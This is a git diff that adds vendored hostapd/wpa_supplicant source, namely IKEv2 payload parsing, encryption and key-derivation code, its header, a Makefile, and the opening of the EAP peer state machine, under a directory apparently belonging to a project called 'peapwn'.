IKEV2_PAYLOAD_AUTHENTICATION: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: " + "Authentication"); + payloads->auth = pdata; + payloads->auth_len = pdatalen; + break; + case IKEV2_PAYLOAD_NONCE: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: Nonce"); + payloads->nonce = pdata; + payloads->nonce_len = pdatalen; + break; + case IKEV2_PAYLOAD_ENCRYPTED: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: Encrypted"); + payloads->encrypted = pdata; + payloads->encrypted_len = pdatalen; + break; + case IKEV2_PAYLOAD_NOTIFICATION: + wpa_printf(MSG_DEBUG, "IKEV2: Payload: " + "Notification"); + payloads->notification = pdata; + payloads->notification_len = pdatalen; + break; + default: + if (phdr->flags & IKEV2_PAYLOAD_FLAGS_CRITICAL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported " + "critical payload %u - reject the " + "entire message", next_payload); + return -1; + } else { + wpa_printf(MSG_DEBUG, "IKEV2: Skipped " + "unsupported payload %u", + next_payload); + } + } + + if (next_payload == IKEV2_PAYLOAD_ENCRYPTED && + pos + plen == end) { + /* + * Next Payload in the case of Encrypted Payload is + * actually the payload type for the first embedded + * payload. + */ + payloads->encr_next_payload = phdr->next_payload; + next_payload = IKEV2_PAYLOAD_NO_NEXT_PAYLOAD; + } else + next_payload = phdr->next_payload; + + pos += plen; + } + + if (pos != end) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected extra data after " + "payloads"); + return -1; + } + + return 0; +} + + +int ikev2_derive_auth_data(int prf_alg, const struct wpabuf *sign_msg, + const u8 *ID, size_t ID_len, u8 ID_type, + struct ikev2_keys *keys, int initiator, + const u8 *shared_secret, size_t shared_secret_len, + const u8 *nonce, size_t nonce_len, + const u8 *key_pad, size_t key_pad_len, + u8 *auth_data) +{ + size_t sign_len, buf_len; + u8 *sign_data, *pos, *buf, hash[IKEV2_MAX_HASH_LEN]; + const struct ikev2_prf_alg *prf; + const u8 *SK_p = initiator ? keys->SK_pi : keys->SK_pr; + + prf = ikev2_get_prf(prf_alg); + if (sign_msg == NULL || ID == NULL || SK_p == NULL || + shared_secret == NULL || nonce == NULL || prf == NULL) + return -1; + + /* prf(SK_pi/r,IDi/r') */ + buf_len = 4 + ID_len; + buf = os_zalloc(buf_len); + if (buf == NULL) + return -1; + buf[0] = ID_type; + os_memcpy(buf + 4, ID, ID_len); + if (ikev2_prf_hash(prf->id, SK_p, keys->SK_prf_len, + 1, (const u8 **) &buf, &buf_len, hash) < 0) { + os_free(buf); + return -1; + } + os_free(buf); + + /* sign_data = msg | Nr/i | prf(SK_pi/r,IDi/r') */ + sign_len = wpabuf_len(sign_msg) + nonce_len + prf->hash_len; + sign_data = os_malloc(sign_len); + if (sign_data == NULL) + return -1; + pos = sign_data; + os_memcpy(pos, wpabuf_head(sign_msg), wpabuf_len(sign_msg)); + pos += wpabuf_len(sign_msg); + os_memcpy(pos, nonce, nonce_len); + pos += nonce_len; + os_memcpy(pos, hash, prf->hash_len); + + /* AUTH = prf(prf(Shared Secret, key pad, sign_data) */ + if (ikev2_prf_hash(prf->id, shared_secret, shared_secret_len, 1, + &key_pad, &key_pad_len, hash) < 0 || + ikev2_prf_hash(prf->id, hash, prf->hash_len, 1, + (const u8 **) &sign_data, &sign_len, auth_data) < 0) + { + os_free(sign_data); + return -1; + } + os_free(sign_data); + + return 0; +} + + +u8 * ikev2_decrypt_payload(int encr_id, int integ_id, + struct ikev2_keys *keys, int initiator, + const struct ikev2_hdr *hdr, + const u8 *encrypted, size_t encrypted_len, + size_t *res_len) +{ + size_t iv_len; + const u8 *pos, *end, *iv, *integ; + u8 hash[IKEV2_MAX_HASH_LEN], *decrypted; + size_t decrypted_len, pad_len; + const struct ikev2_integ_alg *integ_alg; + const struct ikev2_encr_alg *encr_alg; + const u8 *SK_e = initiator ? keys->SK_ei : keys->SK_er; + const u8 *SK_a = initiator ? keys->SK_ai : keys->SK_ar; + + if (encrypted == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No Encrypted payload in SA_AUTH"); + return NULL; + } + + encr_alg = ikev2_get_encr(encr_id); + if (encr_alg == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported encryption type"); + return NULL; + } + iv_len = encr_alg->block_size; + + integ_alg = ikev2_get_integ(integ_id); + if (integ_alg == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported intergrity type"); + return NULL; + } + + if (encrypted_len < iv_len + 1 + integ_alg->hash_len) { + wpa_printf(MSG_INFO, "IKEV2: No room for IV or Integrity " + "Checksum"); + return NULL; + } + + iv = encrypted; + pos = iv + iv_len; + end = encrypted + encrypted_len; + integ = end - integ_alg->hash_len; + + if (SK_a == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No SK_a available"); + return NULL; + } + if (ikev2_integ_hash(integ_id, SK_a, keys->SK_integ_len, + (const u8 *) hdr, + integ - (const u8 *) hdr, hash) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Failed to calculate integrity " + "hash"); + return NULL; + } + if (os_memcmp(integ, hash, integ_alg->hash_len) != 0) { + wpa_printf(MSG_INFO, "IKEV2: Incorrect Integrity Checksum " + "Data"); + return NULL; + } + + if (SK_e == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No SK_e available"); + return NULL; + } + + decrypted_len = integ - pos; + decrypted = os_malloc(decrypted_len); + if (decrypted == NULL) + return NULL; + + if (ikev2_encr_decrypt(encr_alg->id, SK_e, keys->SK_encr_len, iv, pos, + decrypted, decrypted_len) < 0) { + os_free(decrypted); + return NULL; + } + + pad_len = decrypted[decrypted_len - 1]; + if (decrypted_len < pad_len + 1) { + wpa_printf(MSG_INFO, "IKEV2: Invalid padding in encrypted " + "payload"); + os_free(decrypted); + return NULL; + } + + decrypted_len -= pad_len + 1; + + *res_len = decrypted_len; + return decrypted; +} + + +void ikev2_update_hdr(struct wpabuf *msg) +{ + struct ikev2_hdr *hdr; + + /* Update lenth field in HDR */ + hdr = wpabuf_mhead(msg); + WPA_PUT_BE32(hdr->length, wpabuf_len(msg)); +} + + +int ikev2_build_encrypted(int encr_id, int integ_id, struct ikev2_keys *keys, + int initiator, struct wpabuf *msg, + struct wpabuf *plain, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + size_t iv_len, pad_len; + u8 *icv, *iv; + const struct ikev2_integ_alg *integ_alg; + const struct ikev2_encr_alg *encr_alg; + const u8 *SK_e = initiator ? keys->SK_ei : keys->SK_er; + const u8 *SK_a = initiator ? keys->SK_ai : keys->SK_ar; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding Encrypted payload"); + + /* Encr - RFC 4306, Sect. 3.14 */ + + encr_alg = ikev2_get_encr(encr_id); + if (encr_alg == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported encryption type"); + return -1; + } + iv_len = encr_alg->block_size; + + integ_alg = ikev2_get_integ(integ_id); + if (integ_alg == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported intergrity type"); + return -1; + } + + if (SK_e == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No SK_e available"); + return -1; + } + + if (SK_a == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No SK_a available"); + return -1; + } + + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + + iv = wpabuf_put(msg, iv_len); + if (random_get_bytes(iv, iv_len)) { + wpa_printf(MSG_INFO, "IKEV2: Could not generate IV"); + return -1; + } + + pad_len = iv_len - (wpabuf_len(plain) + 1) % iv_len; + if (pad_len == iv_len) + pad_len = 0; + wpabuf_put(plain, pad_len); + wpabuf_put_u8(plain, pad_len); + + if (ikev2_encr_encrypt(encr_alg->id, SK_e, keys->SK_encr_len, iv, + wpabuf_head(plain), wpabuf_mhead(plain), + wpabuf_len(plain)) < 0) + return -1; + + wpabuf_put_buf(msg, plain); + + /* Need to update all headers (Length fields) prior to hash func */ + icv = wpabuf_put(msg, integ_alg->hash_len); + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + + ikev2_update_hdr(msg); + + return ikev2_integ_hash(integ_id, SK_a, keys->SK_integ_len, + wpabuf_head(msg), + wpabuf_len(msg) - integ_alg->hash_len, icv); + + return 0; +} + + +int ikev2_keys_set(struct ikev2_keys *keys) +{ + return keys->SK_d && keys->SK_ai && keys->SK_ar && keys->SK_ei && + keys->SK_er && keys->SK_pi && keys->SK_pr; +} + + +void ikev2_free_keys(struct ikev2_keys *keys) +{ + os_free(keys->SK_d); + os_free(keys->SK_ai); + os_free(keys->SK_ar); + os_free(keys->SK_ei); + os_free(keys->SK_er); + os_free(keys->SK_pi); + os_free(keys->SK_pr); + keys->SK_d = keys->SK_ai = keys->SK_ar = keys->SK_ei = keys->SK_er = + keys->SK_pi = keys->SK_pr = NULL; +} + + +int ikev2_derive_sk_keys(const struct ikev2_prf_alg *prf, + const struct ikev2_integ_alg *integ, + const struct ikev2_encr_alg *encr, + const u8 *skeyseed, const u8 *data, size_t data_len, + struct ikev2_keys *keys) +{ + u8 *keybuf, *pos; + size_t keybuf_len; + + /* + * {SK_d | SK_ai | SK_ar | SK_ei | SK_er | SK_pi | SK_pr } = + * prf+(SKEYSEED, Ni | Nr | SPIi | SPIr ) + */ + ikev2_free_keys(keys); + keys->SK_d_len = prf->key_len; + keys->SK_integ_len = integ->key_len; + keys->SK_encr_len = encr->key_len; + keys->SK_prf_len = prf->key_len; +#ifdef CCNS_PL + /* Uses encryption key length for SK_d; should be PRF length */ + keys->SK_d_len = keys->SK_encr_len; +#endif /* CCNS_PL */ + + keybuf_len = keys->SK_d_len + 2 * keys->SK_integ_len + + 2 * keys->SK_encr_len + 2 * keys->SK_prf_len; + keybuf = os_malloc(keybuf_len); + if (keybuf == NULL) + return -1; + + if (ikev2_prf_plus(prf->id, skeyseed, prf->hash_len, + data, data_len, keybuf, keybuf_len)) { + os_free(keybuf); + return -1; + } + + pos = keybuf; + + keys->SK_d = os_malloc(keys->SK_d_len); + if (keys->SK_d) { + os_memcpy(keys->SK_d, pos, keys->SK_d_len); + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SK_d", + keys->SK_d, keys->SK_d_len); + } + pos += keys->SK_d_len; + + keys->SK_ai = os_malloc(keys->SK_integ_len); + if (keys->SK_ai) { + os_memcpy(keys->SK_ai, pos, keys->SK_integ_len); + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SK_ai", + keys->SK_ai, keys->SK_integ_len); + } + pos += keys->SK_integ_len; + + keys->SK_ar = os_malloc(keys->SK_integ_len); + if (keys->SK_ar) { + os_memcpy(keys->SK_ar, pos, keys->SK_integ_len); + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SK_ar", + keys->SK_ar, keys->SK_integ_len); + } + pos += keys->SK_integ_len; + + keys->SK_ei = os_malloc(keys->SK_encr_len); + if (keys->SK_ei) { + os_memcpy(keys->SK_ei, pos, keys->SK_encr_len); + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SK_ei", + keys->SK_ei, keys->SK_encr_len); + } + pos += keys->SK_encr_len; + + keys->SK_er = os_malloc(keys->SK_encr_len); + if (keys->SK_er) { + os_memcpy(keys->SK_er, pos, keys->SK_encr_len); + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SK_er", + keys->SK_er, keys->SK_encr_len); + } + pos += keys->SK_encr_len; + + keys->SK_pi = os_malloc(keys->SK_prf_len); + if (keys->SK_pi) { + os_memcpy(keys->SK_pi, pos, keys->SK_prf_len); + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SK_pi", + keys->SK_pi, keys->SK_prf_len); + } + pos += keys->SK_prf_len; + + keys->SK_pr = os_malloc(keys->SK_prf_len); + if (keys->SK_pr) { + os_memcpy(keys->SK_pr, pos, keys->SK_prf_len); + wpa_hexdump_key(MSG_DEBUG, "IKEV2: SK_pr", + keys->SK_pr, keys->SK_prf_len); + } + + os_free(keybuf); + + if (!ikev2_keys_set(keys)) { + ikev2_free_keys(keys); + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_common/ikev2_common.h b/peapwn/mods/hostap/src/eap_common/ikev2_common.h new file mode 100644 index 000000000..45c970b60 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/ikev2_common.h @@ -0,0 +1,338 @@ +/* + * IKEv2 definitions + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IKEV2_COMMON_H +#define IKEV2_COMMON_H + +/* + * Nonce length must be at least 16 octets. It must also be at least half the + * key size of the negotiated PRF. + */ +#define IKEV2_NONCE_MIN_LEN 16 +#define IKEV2_NONCE_MAX_LEN 256 + +/* IKE Header - RFC 4306, Sect. 3.1 */ +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +#define IKEV2_SPI_LEN 8 + +struct ikev2_hdr { + u8 i_spi[IKEV2_SPI_LEN]; /* IKE_SA Initiator's SPI */ + u8 r_spi[IKEV2_SPI_LEN]; /* IKE_SA Responder's SPI */ + u8 next_payload; + u8 version; /* MjVer | MnVer */ + u8 exchange_type; + u8 flags; + u8 message_id[4]; + u8 length[4]; /* total length of HDR + payloads */ +} STRUCT_PACKED; + +struct ikev2_payload_hdr { + u8 next_payload; + u8 flags; + u8 payload_length[2]; /* this payload, including the payload header */ +} STRUCT_PACKED; + +struct ikev2_proposal { + u8 type; /* 0 (last) or 2 (more) */ + u8 reserved; + u8 proposal_length[2]; /* including all transform and attributes */ + u8 proposal_num; + u8 protocol_id; /* IKEV2_PROTOCOL_* */ + u8 spi_size; + u8 num_transforms; + /* SPI of spi_size octets */ + /* Transforms */ +} STRUCT_PACKED; + +struct ikev2_transform { + u8 type; /* 0 (last) or 3 (more) */ + u8 reserved; + u8 transform_length[2]; /* including Header and Attributes */ + u8 transform_type; + u8 reserved2; + u8 transform_id[2]; + /* Transform Attributes */ +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + + +/* Current IKEv2 version from RFC 4306 */ +#define IKEV2_MjVer 2 +#define IKEV2_MnVer 0 +#ifdef CCNS_PL +#define IKEV2_VERSION ((IKEV2_MjVer) | ((IKEV2_MnVer) << 4)) +#else /* CCNS_PL */ +#define IKEV2_VERSION (((IKEV2_MjVer) << 4) | (IKEV2_MnVer)) +#endif /* CCNS_PL */ + +/* IKEv2 Exchange Types */ +enum { + /* 0-33 RESERVED */ + IKE_SA_INIT = 34, + IKE_SA_AUTH = 35, + CREATE_CHILD_SA = 36, + INFORMATION = 37 + /* 38-239 RESERVED TO IANA */ + /* 240-255 Reserved for private use */ +}; + +/* IKEv2 Flags */ +#define IKEV2_HDR_INITIATOR 0x08 +#define IKEV2_HDR_VERSION 0x10 +#define IKEV2_HDR_RESPONSE 0x20 + +/* Payload Header Flags */ +#define IKEV2_PAYLOAD_FLAGS_CRITICAL 0x01 + + +/* EAP-IKEv2 Payload Types (in Next Payload Type field) + * http://www.iana.org/assignments/eap-ikev2-payloads */ +enum { + IKEV2_PAYLOAD_NO_NEXT_PAYLOAD = 0, + IKEV2_PAYLOAD_SA = 33, + IKEV2_PAYLOAD_KEY_EXCHANGE = 34, + IKEV2_PAYLOAD_IDi = 35, + IKEV2_PAYLOAD_IDr = 36, + IKEV2_PAYLOAD_CERTIFICATE = 37, + IKEV2_PAYLOAD_CERT_REQ = 38, + IKEV2_PAYLOAD_AUTHENTICATION = 39, + IKEV2_PAYLOAD_NONCE = 40, + IKEV2_PAYLOAD_NOTIFICATION = 41, + IKEV2_PAYLOAD_VENDOD_ID = 43, + IKEV2_PAYLOAD_ENCRYPTED = 46, + IKEV2_PAYLOAD_NEXT_FAST_ID = 121 +}; + + +/* IKEv2 Proposal - Protocol ID */ +enum { + IKEV2_PROTOCOL_RESERVED = 0, + IKEV2_PROTOCOL_IKE = 1, /* IKE is the only one allowed for EAP-IKEv2 */ + IKEV2_PROTOCOL_AH = 2, + IKEV2_PROTOCOL_ESP = 3 +}; + + +/* IKEv2 Transform Types */ +enum { + IKEV2_TRANSFORM_ENCR = 1, + IKEV2_TRANSFORM_PRF = 2, + IKEV2_TRANSFORM_INTEG = 3, + IKEV2_TRANSFORM_DH = 4, + IKEV2_TRANSFORM_ESN = 5 +}; + +/* IKEv2 Transform Type 1 (Encryption Algorithm) */ +enum { + ENCR_DES_IV64 = 1, + ENCR_DES = 2, + ENCR_3DES = 3, + ENCR_RC5 = 4, + ENCR_IDEA = 5, + ENCR_CAST = 6, + ENCR_BLOWFISH = 7, + ENCR_3IDEA = 8, + ENCR_DES_IV32 = 9, + ENCR_NULL = 11, + ENCR_AES_CBC = 12, + ENCR_AES_CTR = 13 +}; + +/* IKEv2 Transform Type 2 (Pseudo-random Function) */ +enum { + PRF_HMAC_MD5 = 1, + PRF_HMAC_SHA1 = 2, + PRF_HMAC_TIGER = 3, + PRF_AES128_XCBC = 4 +}; + +/* IKEv2 Transform Type 3 (Integrity Algorithm) */ +enum { + AUTH_HMAC_MD5_96 = 1, + AUTH_HMAC_SHA1_96 = 2, + AUTH_DES_MAC = 3, + AUTH_KPDK_MD5 = 4, + AUTH_AES_XCBC_96 = 5 +}; + +/* IKEv2 Transform Type 4 (Diffie-Hellman Group) */ +enum { + DH_GROUP1_768BIT_MODP = 1, /* RFC 4306 */ + DH_GROUP2_1024BIT_MODP = 2, /* RFC 4306 */ + DH_GROUP5_1536BIT_MODP = 5, /* RFC 3526 */ + DH_GROUP5_2048BIT_MODP = 14, /* RFC 3526 */ + DH_GROUP5_3072BIT_MODP = 15, /* RFC 3526 */ + DH_GROUP5_4096BIT_MODP = 16, /* RFC 3526 */ + DH_GROUP5_6144BIT_MODP = 17, /* RFC 3526 */ + DH_GROUP5_8192BIT_MODP = 18 /* RFC 3526 */ +}; + + +/* Identification Data Types (RFC 4306, Sect. 3.5) */ +enum { + ID_IPV4_ADDR = 1, + ID_FQDN = 2, + ID_RFC822_ADDR = 3, + ID_IPV6_ADDR = 5, + ID_DER_ASN1_DN = 9, + ID_DER_ASN1_GN= 10, + ID_KEY_ID = 11 +}; + + +/* Certificate Encoding (RFC 4306, Sect. 3.6) */ +enum { + CERT_ENCODING_PKCS7_X509 = 1, + CERT_ENCODING_PGP_CERT = 2, + CERT_ENCODING_DNS_SIGNED_KEY = 3, + /* X.509 Certificate - Signature: DER encoded X.509 certificate whose + * public key is used to validate the sender's AUTH payload */ + CERT_ENCODING_X509_CERT_SIGN = 4, + CERT_ENCODING_KERBEROS_TOKEN = 6, + /* DER encoded X.509 certificate revocation list */ + CERT_ENCODING_CRL = 7, + CERT_ENCODING_ARL = 8, + CERT_ENCODING_SPKI_CERT = 9, + CERT_ENCODING_X509_CERT_ATTR = 10, + /* PKCS #1 encoded RSA key */ + CERT_ENCODING_RAW_RSA_KEY = 11, + CERT_ENCODING_HASH_AND_URL_X509_CERT = 12, + CERT_ENCODING_HASH_AND_URL_X509_BUNDLE = 13 +}; + + +/* Authentication Method (RFC 4306, Sect. 3.8) */ +enum { + AUTH_RSA_SIGN = 1, + AUTH_SHARED_KEY_MIC = 2, + AUTH_DSS_SIGN = 3 +}; + + +/* Notify Message Types (RFC 4306, Sect. 3.10.1) */ +enum { + UNSUPPORTED_CRITICAL_PAYLOAD = 1, + INVALID_IKE_SPI = 4, + INVALID_MAJOR_VERSION = 5, + INVALID_SYNTAX = 7, + INVALID_MESSAGE_ID = 9, + INVALID_SPI = 11, + NO_PROPOSAL_CHOSEN = 14, + INVALID_KE_PAYLOAD = 17, + AUTHENTICATION_FAILED = 24, + SINGLE_PAIR_REQUIRED = 34, + NO_ADDITIONAL_SAS = 35, + INTERNAL_ADDRESS_FAILURE = 36, + FAILED_CP_REQUIRED = 37, + TS_UNACCEPTABLE = 38, + INVALID_SELECTORS = 39 +}; + + +struct ikev2_keys { + u8 *SK_d, *SK_ai, *SK_ar, *SK_ei, *SK_er, *SK_pi, *SK_pr; + size_t SK_d_len, SK_integ_len, SK_encr_len, SK_prf_len; +}; + + +int ikev2_keys_set(struct ikev2_keys *keys); +void ikev2_free_keys(struct ikev2_keys *keys); + + +/* Maximum hash length for supported hash algorithms */ +#define IKEV2_MAX_HASH_LEN 20 + +struct ikev2_integ_alg { + int id; + size_t key_len; + size_t hash_len; +}; + +struct ikev2_prf_alg { + int id; + size_t key_len; + size_t hash_len; +}; + +struct ikev2_encr_alg { + int id; + size_t key_len; + size_t block_size; +}; + +const struct ikev2_integ_alg * ikev2_get_integ(int id); +int ikev2_integ_hash(int alg, const u8 *key, size_t key_len, const u8 *data, + size_t data_len, u8 *hash); +const struct ikev2_prf_alg * ikev2_get_prf(int id); +int ikev2_prf_hash(int alg, const u8 *key, size_t key_len, + size_t num_elem, const u8 *addr[], const size_t *len, + u8 *hash); +int ikev2_prf_plus(int alg, const u8 *key, size_t key_len, + const u8 *data, size_t data_len, + u8 *out, size_t out_len); +const struct ikev2_encr_alg * ikev2_get_encr(int id); +int ikev2_encr_encrypt(int alg, const u8 *key, size_t key_len, const u8 *iv, + const u8 *plain, u8 *crypt, size_t len); +int ikev2_encr_decrypt(int alg, const u8 *key, size_t key_len, const u8 *iv, + const u8 *crypt, u8 *plain, size_t len); + +int ikev2_derive_auth_data(int prf_alg, const struct wpabuf *sign_msg, + const u8 *ID, size_t ID_len, u8 ID_type, + struct ikev2_keys *keys, int initiator, + const u8 *shared_secret, size_t shared_secret_len, + const u8 *nonce, size_t nonce_len, + const u8 *key_pad, size_t key_pad_len, + u8 *auth_data); + + +struct ikev2_payloads { + const u8 *sa; + size_t sa_len; + const u8 *ke; + size_t ke_len; + const u8 *idi; + size_t idi_len; + const u8 *idr; + size_t idr_len; + const u8 *cert; + size_t cert_len; + const u8 *auth; + size_t auth_len; + const u8 *nonce; + size_t nonce_len; + const u8 *encrypted; + size_t encrypted_len; + u8 encr_next_payload; + const u8 *notification; + size_t notification_len; +}; + +int ikev2_parse_payloads(struct ikev2_payloads *payloads, + u8 next_payload, const u8 *pos, const u8 *end); + +u8 * ikev2_decrypt_payload(int encr_id, int integ_id, struct ikev2_keys *keys, + int initiator, const struct ikev2_hdr *hdr, + const u8 *encrypted, size_t encrypted_len, + size_t *res_len); +void ikev2_update_hdr(struct wpabuf *msg); +int ikev2_build_encrypted(int encr_id, int integ_id, struct ikev2_keys *keys, + int initiator, struct wpabuf *msg, + struct wpabuf *plain, u8 next_payload); +int ikev2_derive_sk_keys(const struct ikev2_prf_alg *prf, + const struct ikev2_integ_alg *integ, + const struct ikev2_encr_alg *encr, + const u8 *skeyseed, const u8 *data, size_t data_len, + struct ikev2_keys *keys); + +#endif /* IKEV2_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/Makefile b/peapwn/mods/hostap/src/eap_peer/Makefile new file mode 100644 index 000000000..f79519b71 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/Makefile @@ -0,0 +1,11 @@ +all: + @echo Nothing to be made. + +clean: + rm -f *~ *.o *.so *.d *.gcno *.gcda *.gcov + +install: + if ls *.so >/dev/null 2>&1; then \ + install -d $(DESTDIR)$(LIBDIR)/wpa_supplicant && \ + cp *.so $(DESTDIR)$(LIBDIR)/wpa_supplicant \ + ; fi diff --git a/peapwn/mods/hostap/src/eap_peer/eap.c b/peapwn/mods/hostap/src/eap_peer/eap.c new file mode 100644 index 000000000..3439c2dfc --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap.c @@ -0,0 +1,2403 @@ +/* + * EAP peer state machines (RFC 4137) + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file implements the Peer State Machine as defined in RFC 4137. The used + * states and state transitions match mostly with the RFC. However, there are + * couple of additional transitions for working around small issues noticed + * during testing. These exceptions are explained in comments within the + * functions in this file. The method functions, m.func(), are similar to the + * ones used in RFC 4137, but some small changes have used here to optimize + * operations and to add functionality needed for fast re-authentication + * (session resumption). + */ + +#include "includes.h" + +#include "common.h" +#include "pcsc_funcs.h" +#include "state_machine.h" +#include "ext_password.h" +#include "crypto/crypto.h" +#include "crypto/tls.h" +#include "common/wpa_ctrl.h" +#include "eap_common/eap_wsc_common.h" +#include "eap_i.h" +#include "eap_config.h" + +#define STATE_MACHINE_DATA struct eap_sm +#define STATE_MACHINE_DEBUG_PREFIX "EAP" + +#define EAP_MAX_AUTH_ROUNDS 50 +#define EAP_CLIENT_TIMEOUT_DEFAULT 60 + + +static Boolean eap_sm_allowMethod(struct eap_sm *sm, int vendor, + EapType method); +static struct wpabuf * eap_sm_buildNak(struct eap_sm *sm, int id); +static void eap_sm_processIdentity(struct eap_sm *sm, + const struct wpabuf *req); +static void eap_sm_processNotify(struct eap_sm *sm, const struct wpabuf *req); +static struct wpabuf * eap_sm_buildNotify(int id); +static void eap_sm_parseEapReq(struct eap_sm *sm, const struct wpabuf *req); +#if defined(CONFIG_CTRL_IFACE) || !defined(CONFIG_NO_STDOUT_DEBUG) +static const char * eap_sm_method_state_txt(EapMethodState state); +static const char * eap_sm_decision_txt(EapDecision decision); +#endif /* CONFIG_CTRL_IFACE || !CONFIG_NO_STDOUT_DEBUG */ + + + +static Boolean eapol_get_bool(struct eap_sm *sm, enum eapol_bool_var var) +{ + return sm->eapol_cb->get_bool(sm->eapol_ctx, var); +} + + +static void eapol_set_bool(struct eap_sm *sm, enum eapol_bool_var var, + Boolean value) +{ + sm->eapol_cb->set_bool(sm->eapol_ctx, var, value); +} + + +static unsigned int eapol_get_int(struct eap_sm *sm, enum eapol_int_var var) +{ + return sm->eapol_cb->get_int(sm->eapol_ctx, var); +} + + +static void eapol_set_int(struct eap_sm *sm, enum eapol_int_var var, + unsigned int value) +{ + sm->eapol_cb->set_int(sm->eapol_ctx, var, value); +} + + +static struct wpabuf * eapol_get_eapReqData(struct eap_sm *sm) +{ + return sm->eapol_cb->get_eapReqData(sm->eapol_ctx); +} + + +static void eap_notify_status(struct eap_sm *sm, const char *status, + const char *parameter) +{ + wpa_printf(MSG_DEBUG, "EAP: Status notification: %s (param=%s)", + status, parameter); + if (sm->eapol_cb->notify_status) + sm->eapol_cb->notify_status(sm->eapol_ctx, status, parameter); +} + + +static void eap_deinit_prev_method(struct eap_sm *sm, const char *txt) +{ + ext_password_free(sm->ext_pw_buf); + sm->ext_pw_buf = NULL; + + if (sm->m == NULL || sm->eap_method_priv == NULL) + return; + + wpa_printf(MSG_DEBUG, "EAP: deinitialize previously used EAP method " + "(%d, %s) at %s", sm->selectedMethod, sm->m->name, txt); + sm->m->deinit(sm, sm->eap_method_priv); + sm->eap_method_priv = NULL; + sm->m = NULL; +} + + +/** + * eap_allowed_method - Check whether EAP method is allowed + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @vendor: Vendor-Id for expanded types or 0 = IETF for legacy types + * @method: EAP type + * Returns: 1 = allowed EAP method, 0 = not allowed + */ +int eap_allowed_method(struct eap_sm *sm, int vendor, u32 method) +{ + struct eap_peer_config *config = eap_get_config(sm); + int i; + struct eap_method_type *m; + + if (config == NULL || config->eap_methods == NULL) + return 1; + + m = config->eap_methods; + for (i = 0; m[i].vendor != EAP_VENDOR_IETF || + m[i].method != EAP_TYPE_NONE; i++) { + if (m[i].vendor == vendor && m[i].method == method) + return 1; + } + return 0; +} + + +/* + * This state initializes state machine variables when the machine is + * activated (portEnabled = TRUE). This is also used when re-starting + * authentication (eapRestart == TRUE). + */ +SM_STATE(EAP, INITIALIZE) +{ + SM_ENTRY(EAP, INITIALIZE); + if (sm->fast_reauth && sm->m && sm->m->has_reauth_data && + sm->m->has_reauth_data(sm, sm->eap_method_priv) && + !sm->prev_failure) { + wpa_printf(MSG_DEBUG, "EAP: maintaining EAP method data for " + "fast reauthentication"); + sm->m->deinit_for_reauth(sm, sm->eap_method_priv); + } else { + eap_deinit_prev_method(sm, "INITIALIZE"); + } + sm->selectedMethod = EAP_TYPE_NONE; + sm->methodState = METHOD_NONE; + sm->allowNotifications = TRUE; + sm->decision = DECISION_FAIL; + sm->ClientTimeout = EAP_CLIENT_TIMEOUT_DEFAULT; + eapol_set_int(sm, EAPOL_idleWhile, sm->ClientTimeout); + eapol_set_bool(sm, EAPOL_eapSuccess, FALSE); + eapol_set_bool(sm, EAPOL_eapFail, FALSE); + os_free(sm->eapKeyData); + sm->eapKeyData = NULL; + os_free(sm->eapSessionId); + sm->eapSessionId = NULL; + sm->eapKeyAvailable = FALSE; + eapol_set_bool(sm, EAPOL_eapRestart, FALSE); + sm->lastId = -1; /* new session - make sure this does not match with + * the first EAP-Packet */ + /* + * RFC 4137 does not reset eapResp and eapNoResp here. However, this + * seemed to be able to trigger cases where both were set and if EAPOL + * state machine uses eapNoResp first, it may end up not sending a real + * reply correctly. This occurred when the workaround in FAIL state set + * eapNoResp = TRUE.. Maybe that workaround needs to be fixed to do + * something else(?) + */ + eapol_set_bool(sm, EAPOL_eapResp, FALSE); + eapol_set_bool(sm, EAPOL_eapNoResp, FALSE); + sm->num_rounds = 0; + sm->prev_failure = 0; +} + + +/* + * This state is reached whenever service from the lower layer is interrupted + * or unavailable (portEnabled == FALSE). Immediate transition to INITIALIZE + * occurs when the port becomes enabled. + */ +SM_STATE(EAP, DISABLED) +{ + SM_ENTRY(EAP, DISABLED); + sm->num_rounds = 0; + /* + * RFC 4137 does not describe clearing of idleWhile here, but doing so + * allows the timer tick to be stopped more quickly when EAP is not in + * use. + */ + eapol_set_int(sm, EAPOL_idleWhile, 0); +} + + +/* + * The state machine spends most of its time here, waiting for something to + * happen. This state is entered unconditionally from INITIALIZE, DISCARD, and + * SEND_RESPONSE states. + */ 